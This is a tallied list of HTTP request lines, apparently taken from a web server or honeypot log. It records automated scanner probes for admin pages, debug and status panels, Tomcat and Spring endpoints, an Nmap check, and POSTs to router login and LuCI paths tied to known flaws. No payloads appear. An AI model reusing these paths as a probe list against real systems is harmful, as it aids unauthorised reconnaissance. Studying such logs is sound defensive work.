1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/CSS/Miniweb.css	HTTP/1.1
1	GET	/Global-Appointment	HTTP/1.1
1	GET	/GlobalAppointment	HTTP/1.1
1	GET	/HNAP1	HTTP/1.1
1	GET	/NetherlandsAppointment	HTTP/1.1
1	GET	/Portal/Portal.mwsl	HTTP/1.1
1	GET	/Portal0000.htm	HTTP/1.1
1	GET	/ROAz	HTTP/1.1
1	GET	/__Additional	HTTP/1.1
1	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/actuator/health	HTTP/1.1
1	GET	/admin.asp	HTTP/1.1
1	GET	/admin.aspx	HTTP/1.1
1	GET	/admin.cfm	HTTP/1.1
1	GET	/admin.cgi	HTTP/1.1
1	GET	/admin.html	HTTP/1.1
1	GET	/admin.jhtml	HTTP/1.1
1	GET	/admin.jsa	HTTP/1.1
1	GET	/admin.jsp	HTTP/1.1
1	GET	/admin.php	HTTP/1.1
1	GET	/admin.pl	HTTP/1.1
1	GET	/admin.shtml	HTTP/1.1
1	GET	/base.asp	HTTP/1.1
1	GET	/base.aspx	HTTP/1.1
1	GET	/base.cfm	HTTP/1.1
1	GET	/base.cgi	HTTP/1.1
1	GET	/base.html	HTTP/1.1
1	GET	/base.inc	HTTP/1.1
1	GET	/base.jhtml	HTTP/1.1
1	GET	/base.jsa	HTTP/1.1
1	GET	/base.jsp	HTTP/1.1
1	GET	/base.php	HTTP/1.1
1	GET	/base.pl	HTTP/1.1
1	GET	/base.shtml	HTTP/1.1
1	GET	/config.json	HTTP/1.1
1	GET	/debug/default/view?panel=config	HTTP/1.1
1	GET	/default.asp	HTTP/1.1
1	GET	/default.aspx	HTTP/1.1
1	GET	/default.cfm	HTTP/1.1
1	GET	/default.cgi	HTTP/1.1
1	GET	/default.html	HTTP/1.1
1	GET	/default.jhtml	HTTP/1.1
1	GET	/default.jsa	HTTP/1.1
1	GET	/default.jsp	HTTP/1.1
1	GET	/default.php	HTTP/1.1
1	GET	/default.pl	HTTP/1.1
1	GET	/default.shtml	HTTP/1.1
1	GET	/docs/cplugError.html/	HTTP/1.1
1	GET	/druid/index.html	HTTP/1.1
3	GET	/favicon.ico	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/home.asp	HTTP/1.1
1	GET	/home.aspx	HTTP/1.1
1	GET	/home.cfm	HTTP/1.1
1	GET	/home.cgi	HTTP/1.1
1	GET	/home.html	HTTP/1.1
1	GET	/home.jhtml	HTTP/1.1
1	GET	/home.jsa	HTTP/1.1
1	GET	/home.jsp	HTTP/1.1
1	GET	/home.php	HTTP/1.1
1	GET	/home.pl	HTTP/1.1
1	GET	/home.shtml	HTTP/1.1
1	GET	/index.asp	HTTP/1.1
1	GET	/index.aspx	HTTP/1.1
1	GET	/index.cfm	HTTP/1.1
1	GET	/index.cgi	HTTP/1.1
1	GET	/index.html	HTTP/1.1
1	GET	/index.jhtml	HTTP/1.1
1	GET	/index.jsa	HTTP/1.1
1	GET	/index.jsp	HTTP/1.1
1	GET	/index.php	HTTP/1.1
1	GET	/index.pl	HTTP/1.1
1	GET	/index.shtml	HTTP/1.1
1	GET	/indice.asp	HTTP/1.1
1	GET	/indice.aspx	HTTP/1.1
1	GET	/indice.cfm	HTTP/1.1
1	GET	/indice.cgi	HTTP/1.1
1	GET	/indice.html	HTTP/1.1
1	GET	/indice.jhtml	HTTP/1.1
1	GET	/indice.jsa	HTTP/1.1
1	GET	/indice.jsp	HTTP/1.1
1	GET	/indice.php	HTTP/1.1
1	GET	/indice.pl	HTTP/1.1
1	GET	/indice.shtml	HTTP/1.1
1	GET	/inicio.asp	HTTP/1.1
1	GET	/inicio.aspx	HTTP/1.1
1	GET	/inicio.cfm	HTTP/1.1
1	GET	/inicio.cgi	HTTP/1.1
1	GET	/inicio.html	HTTP/1.1
1	GET	/inicio.jhtml	HTTP/1.1
1	GET	/inicio.jsa	HTTP/1.1
1	GET	/inicio.jsp	HTTP/1.1
1	GET	/inicio.php	HTTP/1.1
1	GET	/inicio.pl	HTTP/1.1
1	GET	/inicio.shtml	HTTP/1.1
1	GET	/localstart.asp	HTTP/1.1
1	GET	/localstart.aspx	HTTP/1.1
1	GET	/localstart.cfm	HTTP/1.1
1	GET	/localstart.cgi	HTTP/1.1
1	GET	/localstart.html	HTTP/1.1
1	GET	/localstart.jhtml	HTTP/1.1
1	GET	/localstart.jsa	HTTP/1.1
1	GET	/localstart.jsp	HTTP/1.1
1	GET	/localstart.php	HTTP/1.1
1	GET	/localstart.pl	HTTP/1.1
1	GET	/localstart.shtml	HTTP/1.1
1	GET	/main.asp	HTTP/1.1
1	GET	/main.aspx	HTTP/1.1
1	GET	/main.cfm	HTTP/1.1
1	GET	/main.cgi	HTTP/1.1
1	GET	/main.html	HTTP/1.1
1	GET	/main.jhtml	HTTP/1.1
1	GET	/main.jsa	HTTP/1.1
1	GET	/main.jsp	HTTP/1.1
1	GET	/main.php	HTTP/1.1
1	GET	/main.pl	HTTP/1.1
1	GET	/main.shtml	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/menu.asp	HTTP/1.1
1	GET	/menu.aspx	HTTP/1.1
1	GET	/menu.cfm	HTTP/1.1
1	GET	/menu.cgi	HTTP/1.1
1	GET	/menu.html	HTTP/1.1
1	GET	/menu.jhtml	HTTP/1.1
1	GET	/menu.jsa	HTTP/1.1
1	GET	/menu.jsp	HTTP/1.1
1	GET	/menu.php	HTTP/1.1
1	GET	/menu.pl	HTTP/1.1
1	GET	/menu.shtml	HTTP/1.1
1	GET	/nmaplowercheck1696038577	HTTP/1.1
1	GET	/owa/auth/x.js	HTTP/1.1
2	GET	/pools/default/buckets	HTTP/1.1
2	GET	/pools	HTTP/1.1
1	GET	/readme.txt	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/server-status	HTTP/1.1
1	GET	/start.asp	HTTP/1.1
1	GET	/start.aspx	HTTP/1.1
1	GET	/start.cfm	HTTP/1.1
1	GET	/start.cgi	HTTP/1.1
1	GET	/start.html	HTTP/1.1
1	GET	/start.jhtml	HTTP/1.1
1	GET	/start.jsa	HTTP/1.1
1	GET	/start.jsp	HTTP/1.1
1	GET	/start.php	HTTP/1.1
1	GET	/start.pl	HTTP/1.1
1	GET	/start.shtml	HTTP/1.1
1	GET	/systembc/password.php	HTTP/1.0
1	GET	default.asp	HTTP/1.1
1	HEAD	/	HTTP/1.1
4	POST	/boaform/admin/formLogin	HTTP/1.1
2	POST	/cgi-bin/luci/;stok=/locale?form=country	HTTP/1.1
1	POST	/scripts/WPnBr.dll	HTTP/1.1
1	POST	/sdk	HTTP/1.1
1	PRI	*	HTTP/2.0